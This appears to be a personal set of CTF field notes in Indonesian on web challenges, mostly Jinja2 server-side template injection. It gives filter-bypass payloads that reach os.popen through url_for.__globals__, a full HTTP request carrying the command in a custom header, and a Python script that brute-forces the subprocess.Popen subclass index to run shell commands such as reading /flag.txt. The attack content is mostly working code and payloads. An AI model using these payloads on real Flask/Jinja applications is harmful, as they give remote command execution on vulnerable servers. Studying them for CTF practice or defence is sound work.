CTF Field Notes
Published on July 25, 2025
Ini adalah catetan saya yang dibuat secara personal berdasarkan pengalaman saya yang telah mengerjakan ctf selama ini
Web
SSTI
ada chall ini, diberikan program berikut:
def security_filter(user_input):
blacklist = ["%", "\\", "/", "\"", "'", "`", "|", " ", "[", "]", "+","init", "subprocess", "globlas", "config", "update", "mro", "subclasses",
"class", "base", "builtins", "cycler", "joiner", "namespace", "lipsum"]
for word in blacklist:
if word in user_input:
return False
return Truepayload untuk bypass : {{url_for.__globals__.os.popen(request.headers.tel).read()}}
req header:
POST /search HTTP/1.1
Host: 103.160.212.3:1339
Content-Length: 70
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://103.160.212.3:1339
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
Tel: cat /flag.txt -> ini variabel baru
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/a
png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://103.160.212.3:1339/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
query={{url_for.__globals__.os.popen(request.headers.tel).read()}}atau bisa juga
{{url_for.__globals__.os.popen(request.args.a).read()}}The regex expression is /^[0–9a-z ]+$/i
- Only numbers and lowercase
- Key insensitive
The Regex filter bypass is:
/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/
{system('whoami')
}
blacklists =['os', 'sys', 'import','subprocess', 'shutil', 'tempfile', 'pickle', 'marshal',
'write', 'eval', 'exec', 'system', 'popen', 'open',
'call', 'check_output', 'check_call', 'startfile', 'remove', 'unlink',
'rmdir', 'remove', 'rename', 'replace', 'chdir', 'chmod', 'chown',
'chroot', 'link', 'lchown', 'listdir', 'lstat', 'mkdir', 'makedirs',
'mkfifo', 'mknod', 'open', 'openpty', 'remove', 'removedirs',
'rename', 'renames', 'rmdir', 'stat', 'symlink', 'unlink', 'walk', 'write',
'popen', 'builtins', 'global']pertama cari dulu class2 nya pake ini:
{{ dict.__base__.__subclasses__()[50:100] }}
intinya kita harus dapetin class seperti Popopen buat bisa ngelakuin command, nah kita harus cari di index mana, jadi bisa pake script ini buat nyari biar ga cape nge brute:
import requests
from bs4 import BeautifulSoup
# Konfigurasi
url = "http://localhost:8888/card"
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
# Fungsi untuk kirim payload dan ambil hasil render
def send_payload(payload):
try:
res = requests.post(url, data=f"name={payload}", headers=headers, timeout=5)
soup = BeautifulSoup(res.text, "html.parser")
return soup.get_text()
except Exception as e:
return f"[!] Error: {e}"
# 1. Cari index dari subprocess.Popen
def find_popen_index(start=0, end=500):
print("[*] Searching for subprocess.Popen...")
for i in range(start, end):
payload = f"{{{{ dict.__base__.__subclasses__()[{i}] }}}}"
result = send_payload(payload)
if "subprocess.Popen" in result:
print(f"[+] Found subprocess.Popen at index: {i}")
return i
print("[!] subprocess.Popen not found")
return None
# 2. Eksekusi perintah via subprocess.Popen
def execute_command(popen_index, command="cat /flag.txt"):
payload = (
f"{{{{ dict.__base__.__subclasses__()[{popen_index}]("
f"'{command}', shell=True, stdout=-1).communicate() }}}}"
)
print(f"[*] Executing: {command}")
result = send_payload(payload)
print("\n[+] Command Output:\n", result.strip())
# Main
if __name__ == "__main__":
popen_index = find_popen_index()
if popen_index is not None:
execute_command(popen_index)misal kita dapet class subprocess.Popen di index 371 kita tinggal masukin command:
{{ dict.__base__.__subclasses__()[371]("cat /flag.txt", shell=True, stdout=-1).communicate() }}
tapi untuk chall ini, letak flag di letakkan di luar main dir /app, sedangkan flag di taruh di /, sehingga kita bisa modifikasi command nya jadi:
{{ dict.__base__.__subclasses__()[371]("for f in /?*.txt; do cat $f; done", shell=True, stdout=-1).communicate() }}